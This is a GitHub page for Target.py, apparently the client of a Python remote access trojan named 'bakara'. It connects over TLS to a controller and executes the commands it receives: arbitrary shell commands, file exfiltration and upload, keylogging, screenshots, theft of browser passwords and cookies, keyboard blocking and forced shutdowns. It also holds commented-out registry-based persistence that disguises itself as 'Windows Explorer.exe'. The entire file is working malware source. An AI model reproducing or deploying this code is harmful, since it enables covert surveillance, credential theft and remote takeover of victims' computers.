-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathTarget.py
More file actions
195 lines (175 loc) · 7.79 KB
/
Copy pathTarget.py
File metadata and controls
195 lines (175 loc) · 7.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
import socket
import subprocess,json
import os
import base64
import ssl
import pyautogui
import tempfile
import keyboard
import sys
from Modules.Browser import browser
from Modules.Keylogger import keylogger
class Backdoor:
def __init__(self,ip,port):
self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
self.context.minimum_version = ssl.TLSVersion.TLSv1_2
self.context.maximum_version = ssl.TLSVersion.TLSv1_3
self.context.check_hostname = False
self.context.verify_mode = ssl.CERT_NONE
certificate="""-----BEGIN CERTIFICATE-----
MIIFOTCCAyGgAwIBAgIUS7IfEljDpgZsah7HFpj1MX+p5uIwDQYJKoZIhvcNAQEL
BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yNDA3MjIwNDExMjdaFw0yNDA4
MjEwNDExMjdaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw
HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggIiMA0GCSqGSIb3DQEB
AQUAA4ICDwAwggIKAoICAQCqKLvS7vVEuZJtV2q8LDzQzJdsszhWWudBRUfjDxtZ
uqwQqIdoqRl2nNY9yarNH4btjvV+fiVrg9czHr/qBumm5oyWYK5DPMEYkHJAtEB3
BAsqCxNGE4s0FF4ljJsSt3WjLMuwnmhNvWrwm4JKkxcKKiB6NQ4CZkr/3uzwsqY/
9EGKfHQfa3UOmZejLtd6OyFwlUWRR/mGTSf93q/fvIriMmBo2cWz60iNntL1NlpP
xJ1teTQWtxh/yUrRR1uEgKRFLsy2Oc45B9/vsrrrEj4R+kEPHclp1oUhq29Rp3Qq
VzB8TtCGSfmzZHFYhYpmLTFSxUI8GNfFwPB0TstNw3OCwmnpBE8q19uQ4ThAUKvT
grJPbQTqmASimlK6idPIPWFbtz6UO1fT9+gLXNzXW0QpbFyXNh/wIoFROA0S1TMB
bmR0qJM/82wc2Wz0d53ZYQLrLzBvhN3zfy9GC95W6U1myHmo6zJqlRqPRVae3II8
KS+p5Oln7hnx2HLFi4PCEkHEcDzYic4pzHUskAq+HM7gWCjEgrMtEeDi0GpDYh2r
+PXF+mll7N89+ddp5FyQ27fLRvkNP+ayPYMEU51M7SDHV/sntpQG2A/jXMQsToAt
ARwTkcT5V3XfpWfU2etBmWZ9uzuqx/FlRiDDBR1y30wI89T2xjmNbJtSRi/8jqkJ
+wIDAQABoyEwHzAdBgNVHQ4EFgQUx9fqmH5I5xUkpkGNv8THGBGT514wDQYJKoZI
hvcNAQELBQADggIBAJEmoBd7HAHTfRfZpyAahIo/5cjD/FIwYtpFkPCJvlD4OL8v
s0JSS/E+XhrCDVYm7dbKN0UmM3i6a+XLDRcIjJVZ9x/Dhee5bSmQEb9obVGJJwK3
itmH9MTLXpMBAR3QQN1FbEdRrrN0asrZFmLjnw1ZrFdfiRaO//bC8Xz3hciLnEkd
B8r6n86baIk3xnQj5BmbARxPc75dQ1mh1RmNPn8wcQzkmukRhBkxKmRUf/t5Sbn5
MStYeUlL/qMX5OqWUhoRkt4yMJMIIl4o5MvVXTo1EwF7x51SnHhfAoNIQCuDZLXU
segQjVQp54uLfqj9wYvzyQ9fQ1b6bOJeoEAemhNqfKBNhbb4/nEPqBbCTZ+2TZHh
n9WwC9ZsXjsl3BwJ7h+I7AwSV0doRXjD/pFlTXUJzRXPuT/anBY1SwqvHTp1Qiyb
H/LqSoRXJPmQPt9lWOip21BfIO7I7eFTOYdwts9R8karA0Wc8l7B0tSZ5vJzsjiX
sfBGSntIbRDeywW5rPcUEhrPiR5z1CIMehYDi0DdMQ726d+RlQC68VU7pW0H2RJV
g90c1vee0M/llwFueGdn4SJjeo17yWcO8PH4tawLEHdjQRycD93Ygn4lcSHac1wI
QWiW0ZSeAk3ShZ0CvBwH5iMHrpUwVmXd6JAGLYbTsR/5ar3VKxEUb/yHhCba
-----END CERTIFICATE-----
"""
self.context.load_verify_locations(cadata=certificate)
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection= self.context.wrap_socket(self.connection, server_hostname='smitk')
self.connection.connect((ip,port))
self.Send("bakara")
def BrowserData(self,type):
br=browser()
if type=='passwords':
return br.GetPasswords()
elif type=='cookies':
return br.GetCookies()
return '[-] Invalid Browser Command'
def Send(self,data):
json_data=json.dumps(data)
self.connection.send(json_data.encode("utf-8"))
def Receive(self):
json_data=""
while True:
try:
json_data=json_data+self.connection.recv(4096).decode("utf-8")
return json.loads(json_data)
except ValueError:
continue
def AddStartUp(self):
pass
# evil_file_location=os.environ["appdata"]+"\\Windows Explorer.exe"
# if not os.path.exists(evil_file_location):
# shutil.copyfile(sys.executable,evil_file_location)
# subprocess.call('reg add HKCU\\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "'+evil_file_location+'"',shell=True)
# return "[+] Persistence added successfully"
# else:
# return "[-] Persistence already exists"
def RemoveStartUp(self):
pass
# evil_file_location=os.environ["appdata"]+"\\Windows Explorer.exe"
# if os.path.exists(evil_file_location):
# os.remove(evil_file_location)
# subprocess.call('reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /f',shell=True)
# return "[+] Persistence removed successfully"
# else:
# return "[-] Persistence does not exist"
def CD_Command(self,path):
os.chdir(path)
return "[+] Changing working directory to "+path
def RunShellCommand(self,command):
return subprocess.check_output(command,shell=True,stderr=subprocess.DEVNULL,stdin=subprocess.DEVNULL)
def ReadFile(self, path):
with open(path, "rb") as file:
binary_data = file.read()
return base64.b64encode(binary_data).decode("utf-8")
def WriteFile(self,path,content):
content=base64.b64decode(content)
with open(path,"wb") as file:
file.write(content)
return "[+] Upload successful"
def KeyLogger(self,command):
if command == "on":
self.keylogger=keylogger()
return self.keylogger.on()
elif command == "off":
return self.keylogger.off()
elif command=="report":
return self.keylogger.report()
else:
return "[-] Invalid command"
def Screenshot(self):
screenshot = pyautogui.screenshot()
temp_directory = tempfile.gettempdir()
current_working_directory = os.getcwd()
os.chdir(temp_directory)
file_path="screenshot.png"
screenshot.save(file_path)
taken_screenshot=self.ReadFile(file_path)
os.remove(file_path)
os.chdir(current_working_directory)
return taken_screenshot
def DisableKeyboard(self):
for i in range(150):
keyboard.block_key(i)
return "[+] Keyboard disabled"
def reboot(self):
return os.system("shutdown /r /t 1")
def shutdown(self):
return os.system("shutdown /s /t 1")
def LogOut(self):
return os.system("shutdown -l")
def EnableKeyboard(self):
for i in range(150):
keyboard.unblock_key(i)
return "[+] Keyboard enabled"
def run(self):
while True:
try:
command=self.Receive()
if command[0]=="exit":
self.Send("[-] Exiting")
self.connection.close()
sys.exit()
if command[0]=="persistent":
if command[1]=="add":
command_result=self.AddStartUp()
elif command[1]=="remove":
command_result=self.RemoveStartUp()
elif command[0]=="cd" and len(command)>1:
command_result=self.CD_Command(command[1])
elif command[0]=="download":
command_result=self.ReadFile(command[1])
elif command[0]=="upload":
command_result=self.WriteFile(command[1],command[2])
elif command[0]=="keylogger":
command_result=self.KeyLogger(command[1])
elif command[0]=="screenshot":
command_result=self.Screenshot()
elif command[0]=="browser":
command_result=self.BrowserData(command[1])
elif command[0]=="disable_keyboard":
command_result=self.DisableKeyboard()
elif command[0]=="reboot":
command_result="[]"+self.reboot()
else:
command_result=self.RunShellCommand(command).decode("utf-8")
except Exception as e:
command_result="[-] Bakara ERR : \n%s"%str(e)
self.Send(command_result)
my_backdoor=Backdoor("127.0.0.1",8080)
my_backdoor.run()